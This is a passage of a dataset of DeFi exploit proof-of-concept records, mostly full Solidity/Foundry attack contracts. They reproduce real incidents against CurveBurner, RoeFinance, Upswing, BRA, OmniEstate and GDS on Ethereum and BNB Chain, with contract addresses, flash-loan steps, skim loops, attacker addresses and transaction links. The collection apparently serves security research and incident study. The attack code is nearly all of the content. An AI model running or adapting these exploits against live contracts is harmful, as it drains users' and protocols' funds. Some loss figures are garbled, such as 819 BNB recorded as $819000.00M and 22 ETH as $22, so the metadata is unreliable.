Curve3POOL\n\n amount[0] = DAI.balanceOf(address(Curve3POOL)) * 978 / 1000;\n amount[1] = USDC.balanceOf(address(Curve3POOL)) * 978 / 1000;\n amount[2] = 0;\n Curve3POOL.remove_liquidity_imbalance(amount, LP.balanceOf(address(this))); // withdraw DAI and USDC from Curve3POOL\n\n CurveBurner.execute(); // add only USDT liquidity to Curve3POOL -> swap USDT to DAI and USDC without slippage protection\n\n amount[0] = DAI.balanceOf(address(this));\n amount[1] = USDC.balanceOf(address(this));\n amount[2] = 0;\n Curve3POOL.add_liquidity(amount, 1); // deposit DAI and USDC to Curve3POOL\n\n Curve3POOL.remove_liquidity_one_coin(LP.balanceOf(address(this)), 2, 1); // withdraw USDT from Curve3POOL\n\n cUSDT.repayBorrow(cUSDT.borrowBalanceCurrent(address(this))); // repay USDT to cUSDT\n cETH.redeemUnderlying(29_000 ether); // withdraw ETH from cETH\n\n WETH.deposit{value: 29_000 ether}();\n aaveV2.repay(address(USDT), 65_000_000 * 1e6, 2, address(this)); // repay USDT to aaveV2\n aaveV2.withdraw(address(WETH), 50_000 ether, address(this)); // withdraw WETH from aaveV2\n\n aaveV3.repay(address(USDT), 40_000_000 * 1e6, 2, address(this)); // repay USDT to aaveV3\n aaveV3.withdraw(address(wstETH), type(uint256).max, address(this)); // withdraw wstETH from aaveV3\n\n IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);\n IERC20(tokens[1]).transfer(msg.sender, amounts[1] + feeAmounts[1]);\n TransferHelper.safeTransfer(tokens[2], msg.sender, amounts[2] + feeAmounts[2]);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "CurveBurner", "date": "2023-08", "file_name": "CurveBurner_exp.sol", "attack_vector": "flash_loan", "content_hash": "ee2297a0c0d9287e", "collected_at": "2026-01-07T10:59:16.524935", "_source": "postmortems", "chain": "ethereum", "block_number": 17823542, "total_lost_raw": "~$36k USD$", "total_lost_usd": 36000.0, "attacker_address": "https://etherscan.io/address/0xccc526e2433db1eebb9cbf6acd7f03a19408278c", "attack_contract": "https://etherscan.io/address/0x915dff6707bea63daea1b41aa5d37353229066ba", "vulnerable_contract": "https://etherscan.io/address/0x786b374b5eef874279f4b7b4de16940e57301a58", "attack_tx": "https://etherscan.io/tx/0xd493c73397952049644c531309df3dd4134bf3db1e64eb6f0b68b016ee0bffde", "postmortem_url": "https://medium.com/@Hypernative/exotic-culinary-hypernative-systems-caught-a-unique-sandwich-attack-against-curve-finance-6d58c32e436b", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~$36k USD$", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~$36k USD$", "keyinfo_attacker": "https://etherscan.io/address/0xccc526e2433db1eebb9cbf6acd7f03a19408278c", "keyinfo_attack_contract": "https://etherscan.io/address/0x915dff6707bea63daea1b41aa5d37353229066ba", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x786b374b5eef874279f4b7b4de16940e57301a58", "keyinfo_attack_tx": "https://etherscan.io/tx/0xd493c73397952049644c531309df3dd4134bf3db1e64eb6f0b68b016ee0bffde", "analysis_postmortem": "https://medium.com/@Hypernative/exotic-culinary-hypernative-systems-caught-a-unique-sandwich-attack-against-curve-finance-6d58c32e436b", "analysis_twitter": "", "funds_lost_formatted": "$36.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "CurveBurner Exploit (2023-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1613267000913960976\n// @TX\n// https://etherscan.io/tx/0x927b784148b60d5233e57287671cdf67d38e3e69e5b6d0ecacc7c1aeaa98985b\n\ninterface ROE {\n function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;\n function borrow(\n address asset,\n uint256 amount,\n uint256 interestRateMode,\n uint16 referralCode,\n address onBehalfOf\n ) external;\n}\n\ninterface vdWBTC_USDC_LP {\n function approveDelegation(address delegatee, uint256 amount) external;\n}\n\ncontract ContractTest is Test {\n IBalancerVault balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n ROE roe = ROE(0x5F360c6b7B25DfBfA4F10039ea0F7ecfB9B02E60);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x004375Dff511095CC5A197A54140a24eFEF3A416);\n Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n vdWBTC_USDC_LP LP = vdWBTC_USDC_LP(0xcae229361B554CEF5D1b4c489a75a53b4f4C9C24);\n IERC20 WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 roeUSDC = IERC20(0x9C435589f24257b19219ba1563e3c0D8699F27E9);\n IERC20 vdUSDC = IERC20(0x26cd328E7C96c53BD6CAA6067e08d792aCd92e4E);\n address roeWBTC_USDC_LP = 0x68B26dCF21180D2A8DE5A303F8cC5b14c8d99c4c;\n uint256 flashLoanAmount = 5_673_090_338_021;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 16_384_469);\n cheats.label(address(roe), \"ROE\");\n cheats.label(address(USDC), \"USDC\");\n cheats.label(address(WBTC), \"WBTC\");\n cheats.label(address(Pair), \"Uni-Pair\");\n }\n\n function testExploit() external {\n cheats.startPrank(address(tx.origin));\n LP.approveDelegation(address(this), type(uint256).max);\n cheats.stopPrank();\n address[] memory tokens = new address[](1);\n tokens[0] = address(USDC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = flashLoanAmount;\n bytes memory userData = \"\";\n balancer.flashLoan(address(this), tokens, amounts, userData);\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n uint256 borrowAmount = Pair.balanceOf(roeWBTC_USDC_LP);\n USDC.approve(address(roe), type(uint256).max);\n Pair.approve(address(roe), type(uint256).max);\n roe.deposit(address(USDC), USDC.balanceOf(address(this)), tx.origin, 0);\n roe.borrow(address(Pair), borrowAmount, 2, 0, tx.origin);\n for (uint256 i; i < 49; ++i) {\n roe.deposit(address(Pair), borrowAmount, address(this), 0);\n roe.borrow(address(Pair), borrowAmount, 2, 0, tx.origin);\n }\n Pair.transfer(address(Pair), borrowAmount);\n Pair.burn(address(this));\n USDC.transfer(address(Pair), 26_025 * 1e6);\n Pair.sync();\n roe.borrow(address(USDC), flashLoanAmount, 2, 0, address(this));\n WBTCToUSDC();\n USDC.transfer(address(balancer), flashLoanAmount);\n }\n\n function WBTCToUSDC() internal {\n WBTC.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(WBTC);\n path[1] = address(USDC);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n WBTC.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "RoeFinance", "date": "2023-01", "file_name": "RoeFinance_exp.sol", "attack_vector": "flash_loan", "content_hash": "3977b2918bfbc45e", "collected_at": "2026-01-07T10:59:16.524995", "_source": "postmortems", "chain": "ethereum", "block_number": 16384469, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.96, "quality_estimate": "low", "title": "RoeFinance Exploit (2023-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nimport \"forge-std/console2.sol\";\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Total Lost: ~22 ETH\n// Attacker: 0xceed34f03a3e607cc04c2d0441c7386b190d7cf4\n// Attack Contract: 0x762d2a9f065304d42289f3f13cc8ea23226d3b8c\n// Vulnerable Contract: 0x35a254223960c18B69C0526c46B013D022E93902\n// Attack Tx: https://etherscan.io/tx/0x4b3df6e9c68ae482c71a02832f7f599ff58ff877ec05fed0abd95b31d2d7d912\n//\n// block 16433821\n\n// @Analysis\n// https://twitter.com/QuillAudits/status/1615634917802807297\n\ninterface ITokenUPS is IERC20 {\n function myPressure(\n address _address\n ) external view returns (uint256);\n}\n\ncontract UpswingExploit is Test {\n Uni_Router_V2 uniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n IUniswapV2Pair lp = IUniswapV2Pair(0x0e823a8569CF12C1e7C216d3B8aef64A7fC5FB34);\n address upsToken = 0x35a254223960c18B69C0526c46B013D022E93902;\n address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 16_433_820); // Fork mainnet at block 16433820\n vm.label(address(uniRouter), \"uniRouterV2\");\n vm.label(upsToken, \"upsToken\");\n vm.label(weth, \"weth\");\n }\n\n function testExploit() public {\n // sample attack with 1 ether\n deal(weth, address(this), 1 ether);\n address[] memory path = new address[](2);\n path[0] = weth;\n path[1] = upsToken;\n\n IERC20(weth).approve(address(uniRouter), type(uint256).max);\n\n uniRouter.swapExactTokensForTokens(1 ether, 0, path, address(this), block.timestamp); // => (amounts=[1000000000000000000, 199388836791259039979218])\n\n console.log(\"prev preassure\", ITokenUPS(upsToken).myPressure(address(this)));\n\n uint256 balance = IERC20(upsToken).balanceOf(address(this));\n for (uint256 i; i < 8; ++i) {\n IERC20(upsToken).transfer(address(lp), balance);\n lp.skim(address(this));\n }\n\n console.log(\"after fake swaps preassure\", ITokenUPS(upsToken).myPressure(address(this)));\n\n IERC20(upsToken).transfer(address(this), 0);\n\n path[0] = upsToken;\n path[1] = weth;\n\n balance = IERC20(upsToken).balanceOf(address(this));\n IERC20(upsToken).approve(address(uniRouter), type(uint256).max);\n uniRouter.swapExactTokensForTokens(balance, 0, path, address(this), block.timestamp); // => (amounts=[1000000000000000000, 199388836791259039979218])\n\n console.log(\"profit!\", IERC20(weth).balanceOf(address(this)) - 1 ether);\n emit log_named_decimal_uint(\n \"After exploiting, Attacker WETH Balance\", IERC20(weth).balanceOf(address(this)) - 1 ether, 18\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Upswing", "date": "2023-01", "file_name": "Upswing_exp.sol", "attack_vector": null, "content_hash": "7090fd9c69573560", "collected_at": "2026-01-07T10:59:16.525044", "_source": "postmortems", "chain": "ethereum", "block_number": 16433820, "total_lost_raw": "~22 ETH", "total_lost_usd": 22.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x4b3df6e9c68ae482c71a02832f7f599ff58ff877ec05fed0abd95b31d2d7d912", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~22 ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n // sample attack with 1 ether\n deal(weth, address(this), 1 ether);\n address[] memory path = new address[](2);\n path[0] = weth;\n path[1] = upsToken;\n\n IERC20(weth).approve(address(uniRouter), type(uint256).max);\n\n uniRouter.swapExactTokensForTokens(1 ether, 0, path, address(this), block.timestamp); // => (amounts=[1000000000000000000, 199388836791259039979218])\n\n console.log(\"prev preassure\", ITokenUPS(upsToken).myPressure(address(this)));\n\n uint256 balance = IERC20(upsToken).balanceOf(address(this));\n for (uint256 i; i < 8; ++i) {\n IERC20(upsToken).transfer(address(lp), balance);\n lp.skim(address(this));\n }\n\n console.log(\"after fake swaps preassure\", ITokenUPS(upsToken).myPressure(address(this)));\n\n IERC20(upsToken).transfer(address(this), 0);\n\n path[0] = upsToken;\n path[1] = weth;\n\n balance = IERC20(upsToken).balanceOf(address(this));\n IERC20(upsToken).approve(address(uniRouter), type(uint256).max);\n uniRouter.swapExactTokensForTokens(balance, 0, path, address(this), block.timestamp); // => (amounts=[1000000000000000000, 199388836791259039979218])\n\n console.log(\"profit!\", IERC20(weth).balanceOf(address(this)) - 1 ether);\n emit log_named_decimal_uint(\n \"After exploiting, Attacker WETH Balance\", IERC20(weth).balanceOf(address(this)) - 1 ether, 18\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x4b3df6e9c68ae482c71a02832f7f599ff58ff877ec05fed0abd95b31d2d7d912", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$22", "content_richness_score": 6.39, "quality_estimate": "medium", "title": "Upswing Exploit (2023-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 819 BNB (~224K US$)\n// Attacker : 0x67a909f2953fb1138bea4b60894b51291d2d0795\n// Vulnerable Contract : 0x449fea37d339a11efe1b181e5d5462464bba3752\n\n// @Info\n// Attack Contract :\n// 0x1fae46b350c4a5f5c397dbf25ad042d3b9a5cb07\n// 0x6066435edce9c2772f3f1184b33fc5f7826d03e7\n// Attack Txs :\n// 0x6759db55a4edec4f6bedb5691fc42cf024be3a1a534ddcc7edd471ef205d4047 (profit 675 WBNB)\n// 0x4e5b2efa90c62f2b62925ebd7c10c953dc73c710ef06695eac3f36fe0f6b9348 (profit 144 WBNB)\n// Vulnerable Contract Code :\n// https://bscscan.com/address/0x449fea37d339a11efe1b181e5d5462464bba3752#code#L449-L457\n\n// @Analysis\n// Blocksec : https://twitter.com/BlockSecTeam/status/1612701106982862849\n\n// Root cause : Business Logic Flaw\n// The BRA Token contract implements a tax logic in the _transfer() function.\n// When the sender/recipient is LP Pair, it will charge a double tax fee to LP Pair, but without called sync() functions.\n// That allows attackers to call the skim() function to collect all imbalanced amounts.\n// Potential mitigations: Implements sync() function in _transfer()\n\ncontract Attacker is Test {\n WBNB constant wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Exploit immutable exploit;\n\n constructor() {\n vm.createSelectFork(\"bsc\", 24_655_771);\n exploit = new Exploit();\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Before Attacks] Attacker WBNB balance\", wbnb.balanceOf(address(this)), 18);\n exploit.go();\n emit log_named_decimal_uint(\"[After Attacks] Attacker WBNB balance\", wbnb.balanceOf(address(this)), 18);\n }\n}\n\ncontract Exploit is Test {\n IDPPAdvanced constant dppAdvanced = IDPPAdvanced(0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4);\n WBNB constant wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IUSDT constant usdt = IUSDT(0x55d398326f99059fF775485246999027B3197955);\n IERC20 constant bra = IERC20(0x449FEA37d339a11EfE1B181e5D5462464bBa3752);\n IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n address BRA_USDT_Pair = 0x8F4BA1832611f0c364dE7114bbff92ba676AdF0E;\n\n function go() public {\n console.log(\"Step1. Flashloan 1400 WBNB from DODO\");\n uint256 baseAmount = 1400 * 1e18;\n address assetTo = address(this);\n bytes memory data = \"xxas\";\n dppAdvanced.flashLoan(baseAmount, 0, assetTo, data);\n\n console.log(\"Step3. Send back the profit to attacker\");\n uint256 profit = wbnb.balanceOf(address(this));\n require(wbnb.transfer(msg.sender, profit), \"transfer failed\");\n }\n\n function DPPFlashLoanCall(address, uint256 baseAmount, uint256, bytes memory) external {\n console.log(\"Step2. Flashloan attacks\");\n\n address[] memory swapPath = new address[](3);\n\n console.log(\"Unwrapping WBNB to BNB\");\n wbnb.withdraw(baseAmount);\n\n console.log(\"Sell 1000 BNB to BRA\");\n swapPath[0] = address(wbnb);\n swapPath[1] = address(usdt);\n swapPath[2] = address(bra);\n pancakeRouter.swapExactETHForTokens{value: 1000 ether}(1, swapPath, address(this), block.timestamp);\n\n uint256 pairBalanceBefore = bra.balanceOf(BRA_USDT_Pair);\n uint256 sendAmount = bra.balanceOf(address(this));\n\n console.log(\"Init Exploit: transfer all BRA to Pair for earning double reward\");\n emit log_named_decimal_uint(\"[Before Exp] Pair contract BRA balance\", pairBalanceBefore, 18);\n emit log_named_decimal_uint(\"[Before Exp] Exploit contract BRA balance\", sendAmount, 18);\n bra.transfer(BRA_USDT_Pair, sendAmount);\n\n console.log(\"Start Exploit: skim() to earn\");\n for (uint256 i; i < 101; ++i) {\n IPancakePair(BRA_USDT_Pair).skim(BRA_USDT_Pair);\n }\n\n uint256 pairBalanceAfter = bra.balanceOf(BRA_USDT_Pair);\n emit log_named_decimal_uint(\"[After Exp] Pair contract BRA balance\", pairBalanceAfter, 18);\n\n console.log(\"Swap BRA (profit) to USDT\");\n address[] memory inputSwapPath = new address[](2);\n uint256[] memory outputSwapAmounts = new uint256[](2);\n inputSwapPath[0] = address(bra);\n inputSwapPath[1] = address(usdt);\n outputSwapAmounts = pancakeRouter.getAmountsOut(pairBalanceAfter - pairBalanceBefore, inputSwapPath); // get how much USDT the attacker can swap\n uint256 usdtAmount = outputSwapAmounts[1];\n IPancakePair(BRA_USDT_Pair).swap(0, usdtAmount, address(this), \"\"); // swap BRA (profit) to USDT\n\n console.log(\"Swap USDT to WBNB\");\n usdt.approve(address(pancakeRouter), type(uint256).max);\n inputSwapPath[0] = address(usdt);\n inputSwapPath[1] = address(wbnb);\n pancakeRouter.swapExactTokensForETH(usdtAmount, 1, inputSwapPath, address(this), block.timestamp);\n\n //Check the attacks result is positive profit, otherwise revert the transaction.\n assert(address(this).balance >= baseAmount);\n\n console.log(\"Wrapping BNB to WBNB\");\n wbnb.deposit{value: address(this).balance}();\n\n console.log(\"Payback the flashloan to DODO\");\n require(wbnb.transfer(msg.sender, baseAmount), \"transfer failed\");\n }\n\n receive() external payable {}\n}\n\n/*---------- Interface ----------*/\ninterface IDPPAdvanced {\n event DODOFlashLoan(address borrower, address assetTo, uint256 baseAmount, uint256 quoteAmount);\n event DODOSwap(\n address fromToken, address toToken, uint256 fromAmount, uint256 toAmount, address trader, address receiver\n );\n event LpFeeRateChange(uint256 newLpFeeRate);\n event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n event RChange(uint8 newRState);\n\n struct PMMState {\n uint256 i;\n uint256 K;\n uint256 B;\n uint256 Q;\n uint256 B0;\n uint256 Q0;\n uint8 R;\n }\n\n function _BASE_PRICE_CUMULATIVE_LAST_() external view returns (uint256);\n function _BASE_RESERVE_() external view returns (uint112);\n function _BASE_TARGET_() external view returns (uint112);\n function _BASE_TOKEN_() external view returns (address);\n function _BLOCK_TIMESTAMP_LAST_() external view returns (uint32);\n function _IS_OPEN_TWAP_() external view returns (bool);\n function _I_() external view returns (uint128);\n function _K_() external view returns (uint64);\n function _LP_FEE_RATE_() external view returns (uint64);\n function _MAINTAINER_() external view returns (address);\n function _MT_FEE_RATE_MODEL_() external view returns (address);\n function _NEW_OWNER_() external view returns (address);\n function _OWNER_() external view returns (address);\n function _QUOTE_RESERVE_() external view returns (uint112);\n function _QUOTE_TARGET_() external view returns (uint112);\n function _QUOTE_TOKEN_() external view returns (address);\n function _RState_() external view returns (uint32);\n function claimOwnership() external;\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes memory data) external;\n function getBaseInput() external view returns (uint256 input);\n function getMidPrice() external view returns (uint256 midPrice);\n function getPMMState() external view returns (PMMState memory state);\n function getPMMStateForCall()\n external\n view\n returns (uint256 i, uint256 K, uint256 B, uint256 Q, uint256 B0, uint256 Q0, uint256 R);\n function getQuoteInput() external view returns (uint256 input);\n function getUserFeeRate(\n address user\n ) external view returns (uint256 lpFeeRate, uint256 mtFeeRate);\n function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);\n function init(\n address owner,\n address maintainer,\n address baseTokenAddress,\n address quoteTokenAddress,\n uint256 lpFeeRate,\n address mtFeeRateModel,\n uint256 k,\n uint256 i,\n bool isOpenTWAP\n ) external;\n function initOwner(\n address newOwner\n ) external;\n function querySellBase(\n address trader,\n uint256 payBaseAmount\n ) external view returns (uint256 receiveQuoteAmount, uint256 mtFee, uint8 newRState, uint256 newBaseTarget);\n function querySellQuote(\n address trader,\n uint256 payQuoteAmount\n ) external view returns (uint256 receiveBaseAmount, uint256 mtFee, uint8 newRState, uint256 newQuoteTarget);\n function ratioSync() external;\n function reset(\n address assetTo,\n uint256 newLpFeeRate,\n uint256 newI,\n uint256 newK,\n uint256 baseOutAmount,\n uint256 quoteOutAmount,\n uint256 minBaseReserve,\n uint256 minQuoteReserve\n ) external returns (bool);\n function retrieve(address to, address token, uint256 amount) external;\n function sellBase(\n address to\n ) external returns (uint256 receiveQuoteAmount);\n function sellQuote(\n address to\n ) external returns (uint256 receiveBaseAmount);\n function transferOwnership(\n address newOwner\n ) external;\n function tuneParameters(\n uint256 newLpFeeRate,\n uint256 newI,\n uint256 newK,\n uint256 minBaseReserve,\n uint256 minQuoteReserve\n ) external returns (bool);\n function tunePrice(uint256 newI, uint256 minBaseReserve, uint256 minQuoteReserve) external returns (bool);\n function version() external pure returns (string memory);\n}\n", "type": "exploit_poc", "protocol": "BRA", "date": "2023-01", "file_name": "BRA_exp.sol", "attack_vector": "flash_loan", "content_hash": "4755dc6cd637724a", "collected_at": "2026-01-07T10:59:16.525093", "_source": "postmortems", "chain": "bsc", "block_number": 24655771, "total_lost_raw": "819 BNB (~224K US$)", "total_lost_usd": 819000000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "819 BNB (~224K US$)", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Before Attacks] Attacker WBNB balance\", wbnb.balanceOf(address(this)), 18);\n exploit.go();\n emit log_named_decimal_uint(\"[After Attacks] Attacker WBNB balance\", wbnb.balanceOf(address(this)), 18);\n }\n}\n\ncontract Exploit is Test {\n IDPPAdvanced constant dppAdvanced = IDPPAdvanced(0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4);\n WBNB constant wbnb = WBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IUSDT constant usdt = IUSDT(0x55d398326f99059fF775485246999027B3197955);\n IERC20 constant bra = IERC20(0x449FEA37d339a11EfE1B181e5D5462464bBa3752);\n IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n address BRA_USDT_Pair = 0x8F4BA1832611f0c364dE7114bbff92ba676AdF0E;", "has_exploit_code": true, "keyinfo_total_lost": "819 BNB (~224K US$)", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$819000.00M", "content_richness_score": 8, "quality_estimate": "high", "title": "BRA Exploit (2023-01)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1615232012834705408\n// @TX\n// invest\n// https://bscscan.com/tx/0x49bed801b9a9432728b1939951acaa8f2e874453d39c7d881a62c2c157aa7613\n// withdraw\n// https://bscscan.com/tx/0xa916674fb8203fac6d78f5f9afc604be468a514aa61ea36c6d6ef26ecfbd0e97\n\ninterface OmniStakingPool {\n function invest(uint256 end_date, uint256 qty_ort) external;\n function withdrawAndClaim(\n uint256 lockId\n ) external;\n function getUserStaking(\n address user\n ) external returns (uint256[] memory);\n}\n\ncontract ContractTest is Test {\n address Omni = 0x6f40A3d0c89cFfdC8A1af212A019C220A295E9bB;\n address ORT = 0x1d64327C74d6519afeF54E58730aD6fc797f05Ba;\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 24_850_696);\n }\n\n function testExploit() public {\n // 1. get some ort token\n IWBNB(WBNB).deposit{value: 1e18}();\n emit log_named_decimal_uint(\"[Before Attacks] Attacker WBNB balance\", WBNB.balanceOf(address(this)), 18);\n bscSwap(address(WBNB), ORT, 1e18);\n // 2. invest\n IERC20(ORT).approve(Omni, type(uint256).max);\n OmniStakingPool(Omni).invest(0, 1);\n uint256[] memory stake_ = OmniStakingPool(Omni).getUserStaking(address(this));\n // 3. withdraw\n OmniStakingPool(Omni).withdrawAndClaim(stake_[0]);\n\n // 4. profit\n bscSwap(ORT, address(WBNB), IERC20(ORT).balanceOf(address(this)));\n emit log_named_decimal_uint(\"[After Attacks] Attacker WBNB balance\", WBNB.balanceOf(address(this)), 18);\n }\n\n function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {\n IERC20(tokenFrom).approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = tokenFrom;\n path[1] = tokenTo;\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "OmniEstate", "date": "2023-01", "file_name": "OmniEstate_exp.sol", "attack_vector": null, "content_hash": "36158a2c89eaf969", "collected_at": "2026-01-07T10:59:16.525166", "_source": "postmortems", "chain": "bsc", "block_number": 24850696, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n // 1. get some ort token\n IWBNB(WBNB).deposit{value: 1e18}();\n emit log_named_decimal_uint(\"[Before Attacks] Attacker WBNB balance\", WBNB.balanceOf(address(this)), 18);\n bscSwap(address(WBNB), ORT, 1e18);\n // 2. invest\n IERC20(ORT).approve(Omni, type(uint256).max);\n OmniStakingPool(Omni).invest(0, 1);\n uint256[] memory stake_ = OmniStakingPool(Omni).getUserStaking(address(this));\n // 3. withdraw\n OmniStakingPool(Omni).withdrawAndClaim(stake_[0]);\n\n // 4. profit\n bscSwap(ORT, address(WBNB), IERC20(ORT).balanceOf(address(this)));\n emit log_named_decimal_uint(\"[After Attacks] Attacker WBNB balance\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.14, "quality_estimate": "low", "title": "OmniEstate Exploit (2023-01)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1610095490368180224\n// https://twitter.com/BlockSecTeam/status/1610167174978760704\n// @TX\n// https://bscscan.com/tx/0xf9b6cc083f6e0e41ce5e5dd65b294abf577ef47c7056d86315e5e53aa662251e\n// https://bscscan.com/tx/0x2bb704e0d158594f7373ec6e53dc9da6c6639f269207da8dab883fc3b5bf6694\n\ninterface GDSToken is IERC20 {\n function pureUsdtToToken(\n uint256 _uAmount\n ) external returns (uint256);\n}\n\ninterface ISwapFlashLoan {\n function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;\n}\n\ninterface IClaimReward {\n function transferToken() external;\n function withdraw() external;\n}\n\ncontract ClaimReward {\n address Owner;\n GDSToken GDS = GDSToken(0xC1Bb12560468fb255A8e8431BDF883CC4cB3d278);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x4526C263571eb57110D161b41df8FD073Df3C44A);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address deadAddress = 0x000000000000000000000000000000000000dEaD;\n\n constructor() {\n Owner = msg.sender;\n }\n\n function transferToken() external {\n GDS.transfer(deadAddress, GDS.pureUsdtToToken(100 * 1e18));\n Pair.transfer(Owner, Pair.balanceOf(address(this)));\n 